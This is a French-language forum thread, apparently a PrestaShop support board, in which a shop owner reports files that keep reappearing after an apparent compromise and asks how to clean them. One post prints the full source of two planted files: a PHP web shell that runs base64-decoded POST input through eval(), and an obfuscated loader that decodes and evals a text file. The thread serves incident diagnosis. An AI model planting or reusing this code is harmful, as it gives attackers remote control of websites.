<![CDATA[Nouvelle attaque ?]]>Bonjour à tous,

Je constate sur mon presta certaines modifications anormales, en tout cas non souhaitées qui me laisse penser à une attaque.
Voici en quelques mots ce que j'ai pu observer :
Modification du htaccess
Creation de fichiers 1.mcm.x86_64, confcom.php, conf.php, lowpr.php,...
Malgré la suppression des fichiers indésirables et le rétablissement du htaccess, cela revient régulièrement.
J'ai passé le scan de sécurité cleaner.php de @eolia qui ne détecte pas de virus.
Quelqu'un a-t-il été confronté à cela auparavant ? Et si oui, quelles sont les actions à mener ?

Merci pour vos réponses.

]]>https://bb.enter-solutions.net/topic/1145/nouvelle-attaqueRSS for NodeWed, 10 Jun 2026 06:59:02 GMTMon, 20 Nov 2023 10:36:54 GMT60<![CDATA[Reply to Nouvelle attaque ? on Mon, 28 Oct 2024 20:15:25 GMT]]>@RPro a dit dans Nouvelle attaque ? :

eval/Designed with utility, safety and style/($table_prefix($wp_content));

Cela ressemble pas mal à une attaque pour wordpress.

]]>https://bb.enter-solutions.net/post/2080https://bb.enter-solutions.net/post/2080Mon, 28 Oct 2024 20:15:25 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 19:40:43 GMT]]>Par contre il faut comprendre les limites du système.
La version 1.7 c'est plus d'un million de lignes de code (contre 300 000 pour les 1.6) et cleaner ne peut pas scanner tous les fichiers/répertoires surtout que j'ai arrêté de suivre leurs évolutions.
Un autre élément à contrôler: pas d'autres CMS sur le même hébergement (WordPress ou autre) ni de répertoires inconnus (créés par vous et non-scannés) ?

]]>https://bb.enter-solutions.net/post/1538https://bb.enter-solutions.net/post/1538Mon, 20 Nov 2023 19:40:43 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 19:37:15 GMT]]>J'ai oublié : j'ai passé cleaner.php après avoir supprimé les fichiers ...
Cela ne change rien dans les faits car ils reviennent ce qui signifie que l'infection vient d'un autre fichier ou d'une faille qui, lui /elle n'a pas été détecté ...

]]>https://bb.enter-solutions.net/post/1537https://bb.enter-solutions.net/post/1537Mon, 20 Nov 2023 19:37:15 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 18:46:55 GMT]]>Bah je ne comprends pas que Cleaner ne les trouve pas avec de telles fonctions à l'intérieur. (eval() par exemple)

]]>https://bb.enter-solutions.net/post/1536https://bb.enter-solutions.net/post/1536Mon, 20 Nov 2023 18:46:55 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:58:52 GMT]]>Le fichier 1.mcm.x86_64 est trop long pour être transmis tel quel.
Le fichier confcom.php est vide
Le fichier conf.php est le suivant :
<!DOCTYPE html>
<html>
<head>
<title>PHP command</title>
</head>
<body>
<form method="post" action="">
<input type="text" name="php" id="php">
<input type="submit" value="Execute">
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$php = $_POST['php'];
$php = strtr($php, '-', '=');
$php = base64_decode($php);
if($php) {
$result = eval($php);
echo $result;
}
}
?>
</body>
</html>

Le fichier lowpr.php est le suivant :
<?php
$table_prefix = "wbzaxsye6w4_duevcwondme";
$table_prefix = str_replace(array("z", "x", "y", "u", "v", "w", "n", "m"), "", $table_prefix);
$txt_contents = "1f2i3l4e5_6g7e8t9_0c1o2n3t4e5n6t7s8";
$txt_contents = preg_replace("/\d+/", "", $txt_contents);
$wp_content = $txt_contents("lowpr".".txt");
eval/Designed with utility, safety and style/($table_prefix($wp_content));
?>

J'espère que cela vous donnera des idées car je suis pas compétent !
Merci par avance

]]>https://bb.enter-solutions.net/post/1533https://bb.enter-solutions.net/post/1533Mon, 20 Nov 2023 16:58:52 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:50:47 GMT]]>il y a quoi dans les fichiers que vous avez supprimé ?

]]>https://bb.enter-solutions.net/post/1532https://bb.enter-solutions.net/post/1532Mon, 20 Nov 2023 16:50:47 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:49:10 GMT]]>Non !
Il y a bien des alertes de modification mais après vérification, c'est normal.
Aucune modification en rouge.

]]>https://bb.enter-solutions.net/post/1531https://bb.enter-solutions.net/post/1531Mon, 20 Nov 2023 16:49:10 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:46:48 GMT]]>Avant que vous ne supprimiez quoi que ce soit, Cleaner ne trouve rien ?

]]>https://bb.enter-solutions.net/post/1530https://bb.enter-solutions.net/post/1530Mon, 20 Nov 2023 16:46:48 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:04:13 GMT]]>Désolé pour l'oubli : il s'agit de 1.7.2.4

]]>https://bb.enter-solutions.net/post/1529https://bb.enter-solutions.net/post/1529Mon, 20 Nov 2023 16:04:13 GMT<![CDATA[Reply to Nouvelle attaque ? on Mon, 20 Nov 2023 16:02:24 GMT]]>Quelle version de Presta ?

]]>https://bb.enter-solutions.net/post/1528https://bb.enter-solutions.net/post/1528Mon, 20 Nov 2023 16:02:24 GMT